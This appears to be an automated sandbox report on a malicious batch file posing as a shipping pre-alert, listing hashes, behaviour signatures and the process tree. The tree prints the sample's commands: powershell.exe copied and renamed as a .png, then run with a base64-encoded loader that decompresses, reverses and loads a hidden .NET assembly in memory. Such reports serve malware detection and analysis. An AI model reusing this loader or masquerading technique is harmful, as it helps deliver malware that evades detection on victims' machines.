b034f40e64dbb5207009f97873aead10cf0ad0ef0dd0f494f1125e5050c91417

General

Target

PRE-ALERT SKLZ2112352 00 SHANGHAI.bat
Size

1014KB
MD5

9ecae039ff7e74e184ea9d1a85f19193
SHA1

0c47dd3f189d2a82ac1b7ee81527c66e51317f80
SHA256

c8298ea15d9737ceb275406b2d50919d012195a4e9a0f3be1f514fc364348b9f
SHA512

a919ad35d81a320a9a53a99607a786dc1502942d66791e233ce7f2276b77330cc94b8c86e3014995537d3f6e96c1f928d9a2d8b936c24066fdc77dd0cc130a3a
SSDEEP

24576:n8GMSchpW98EOD2CwBzCF4LqPc5AhS9REGfYJEL:08biYS+AO

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1740	Iuddekmwdmm.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1740	Iuddekmwdmm.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1740	Iuddekmwdmm.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	Iuddekmwdmm.png

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 3012	2772	cmd.exe	29
PID 2772 wrote to memory of 3012	2772	cmd.exe	29
PID 2772 wrote to memory of 3012	2772	cmd.exe	29
PID 3012 wrote to memory of 1528	3012	cmd.exe	31
PID 3012 wrote to memory of 1528	3012	cmd.exe	31
PID 3012 wrote to memory of 1528	3012	cmd.exe	31
PID 3012 wrote to memory of 1440	3012	cmd.exe	32
PID 3012 wrote to memory of 1440	3012	cmd.exe	32
PID 3012 wrote to memory of 1440	3012	cmd.exe	32
PID 3012 wrote to memory of 1080	3012	cmd.exe	33
PID 3012 wrote to memory of 1080	3012	cmd.exe	33
PID 3012 wrote to memory of 1080	3012	cmd.exe	33
PID 3012 wrote to memory of 2192	3012	cmd.exe	34
PID 3012 wrote to memory of 2192	3012	cmd.exe	34
PID 3012 wrote to memory of 2192	3012	cmd.exe	34
PID 3012 wrote to memory of 1740	3012	cmd.exe	35
PID 3012 wrote to memory of 1740	3012	cmd.exe	35
PID 3012 wrote to memory of 1740	3012	cmd.exe	35
PID 3012 wrote to memory of 1740	3012	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT SKLZ2112352 00 SHANGHAI.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT SKLZ2112352 00 SHANGHAI.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1528
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png
    3⤵
    PID:1440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1080
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\PRE-ALERT SKLZ2112352 00 SHANGHAI.bat" C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png.bat
    3⤵
    PID:2192
- - C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png
    C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png -win 1 -enc JABJAHEAZQBqAGkAYgAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABCAGwAagBhAG0AcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABJAHEAZQBqAGkAYgApADsAJABRAGoAcQB0AG4AcABoAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEIAbABqAGEAbQBzACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAE4AdQBtAHUAeQB3AHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAUQBqAHEAdABuAHAAaABrACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABOAHUAbQB1AHkAdwB3AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABOAHUAbQB1AHkAdwB3AC4AQwBsAG8AcwBlACgAKQA7ACQAUQBqAHEAdABuAHAAaABrAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAQgBsAGoAYQBtAHMAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQgBsAGoAYQBtAHMAKQA7ACAAJABDAHoAawB4AGMAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABCAGwAagBhAG0AcwApADsAIAAkAFIAaQBvAHcAZABsAGoAIAA9ACAAJABDAHoAawB4AGMAcQAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAE4AbQBxAHcAbQBvAHIAegAgAD0AIAAkAFIAaQBvAHcAZABsAGoALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Iuddekmwdmm.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1740-8-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/1740-9-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/1740-10-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

Download
memory/1740-11-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

Download
memory/1740-12-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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